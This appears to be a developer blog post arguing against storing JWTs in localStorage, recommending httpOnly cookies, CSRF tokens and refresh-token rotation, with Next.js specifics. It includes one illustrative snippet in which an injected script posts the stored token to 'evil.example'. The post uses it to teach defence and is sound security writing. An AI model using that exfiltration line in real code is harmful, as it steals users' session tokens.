Nov 30, 2026
Your JWT lives in localStorage — and any script on the page can read it
localStorage is the default in every auth tutorial, and the default in most incidents. Any script on the page can read it — one XSS bug hands the token to an attacker. The fix is an httpOnly cookie, and the trade is CSRF, which you can actually defend.
Every auth tutorial does the same thing after login. The server returns a token, the client stores it, and every request after that attaches it as a header:
localStorage.setItem("token", data.token);
fetch("/api/orders", {
headers: { Authorization: `Bearer ${localStorage.getItem("token")}` },
});
It works. It survives a refresh. It is also the default in most auth incidents, because it answers the wrong question. The question is not where the token is convenient to store. It is what an attacker gets when something else on the page goes wrong.
Any script on the page can read it
localStorage is readable by every piece of JavaScript running on your origin. Not just your code — a compromised npm dependency, a third-party analytics tag, a chat widget, any of them. There is no browser flag that stops this. The data is plain JavaScript-readable text by design.
So one cross-site scripting bug is not a bug in a form field. It is a full session theft:
// what an injected script can trivially run
fetch("https://evil.example/steal", {
method: "POST",
body: localStorage.getItem("token"),
});
A JWT is a bearer token: whoever holds it can use it, from anywhere, until it expires. The attacker does not need your password, your login page, or your session. They replay the token and they are you.
sessionStorage does not fix this. It has the exact same exposure — it just clears when the tab closes. An in-memory variable is better only in a narrow sense: a stolen token is useful only while the tab is open, and it does not survive a refresh, so you need a refresh mechanism anyway.
The fix: a cookie JavaScript cannot read
Set the token in a cookie with the right attributes, and the exfiltration script above stops working — not because the script is blocked, but because the browser will not hand the value to JavaScript at all:
// Express — the token travels as a cookie, never as JSON the client stores
res.cookie("access_token", accessToken, {
httpOnly: true, // invisible to JavaScript — XSS cannot read it
secure: true, // HTTPS only, never sent over plain HTTP
sameSite: "lax", // blocks most cross-site sends
path: "/",
maxAge: 15 * 60 * 1000, // 15 minutes, same as the JWT
});
HttpOnly is the attribute that matters most. Secure stops the cookie leaking over plain HTTP. SameSite is your lever against the problem cookies introduce, which is the next section. Keep the access token short-lived — fifteen minutes, not days — so even a leak has a small window.
The trade is CSRF, and you can defend that one
Cookies are sent automatically by the browser, which reintroduces cross-site request forgery: a malicious page can trick the browser into firing a request to your API with the cookie attached. That is a real risk, and it is the reason some developers run back to localStorage.
Here is the asymmetry that decides it. The localStorage risk — XSS reading the token — has no dependable mitigation. You cannot stop JavaScript you have already lost control of from reading a value JavaScript is allowed to read. The cookie risk — CSRF — has mature, well-tested mitigations: an explicit SameSite value, plus a CSRF token on state-changing requests. Prefer the store whose worst case you can actually defend.
In practice that means: reads can ride on the cookie alone, but a POST, PUT, or DELETE must also carry a CSRF token the server checks — a double-submit cookie or a synchronised token the client reads from a separate, JavaScript-readable cookie and sends as a header. An attacker on another origin can trigger the request, but they cannot read the token to include it.
The refresh token never touches the browser
Two tokens, two jobs. The access token is a short-lived JWT, checked by signature on every request. The refresh token is not a JWT at all — it is 32 random bytes, an opaque value that only counts if it exists in your database, and you store its hash, never the value itself.
The refresh token is the one that must never be in localStorage. It is long-lived by design, so an XSS bug that steals it becomes persistent access, not a fifteen-minute window. It lives in an httpOnly cookie too, and it rotates: every time it is used, it is revoked and a new one is issued.
And if someone presents a refresh token that was already revoked, assume theft and revoke every session that user has. You cannot tell whether the stale token belongs to the attacker or the user, so both sign in again. That is deliberately strict, and it is the whole point — a stolen refresh token works exactly once, and then it burns the attacker's copy too.
In Next.js, refresh in the proxy — never pass the token to the client
If your frontend is Next.js, the tokens should never reach a Client Component. Server Actions and Route Handlers can write cookies; Server Components can only read them. Refresh the access token in proxy.ts (Next.js 16) or middleware.ts (Next.js 15) before the page renders: read the token's exp locally with a minute of slack, and call the refresh endpoint only when it is about to expire.
Two mistakes I have seen, one of them mine in spirit. First, refreshing inside a Server Component's fetch wrapper — the new tokens are never saved, because Server Components cannot set cookies, and the next request is rejected. Second, and worse, passing the token to the client as a prop or through a JSON endpoint. Props are serialised into the RSC payload, and from then on httpOnly protects nothing. The client should call same-origin Route Handlers — a small backend-for-frontend — and let the server attach the token to the real API call.
The strongest version of this pattern is a full backend-for-frontend: the browser holds only a session cookie, and a server you control holds the access and refresh tokens. It costs an extra hop on every API call and one more service to run. For a dashboard with real user data, that is a fair trade.
The honest limits
An httpOnly cookie does not stop XSS. It stops injected scripts from reading the token. An injected script can still send requests from the user's browser while the page is open, riding the session the cookie provides. The cookie closes the theft path; it does not make XSS harmless. A Content Security Policy is the mitigation that limits the damage when a script slips through, and keeping third-party scripts off your login pages is worth more than any storage choice.
Keep the token small and short-lived, and never put anything in the JWT payload you would not show the user — the payload is base64, not encrypted. And remember that the storage choice is one layer. Short lifetimes, rotation with reuse detection, and CSRF protection on mutations are what make the choice hold up.
Where you put the token decides what one bug costs you. localStorage makes one XSS bug cost the whole session, for as long as the token lives. A cookie makes the same bug cost far less — and the new problem it introduces is one you can actually defend.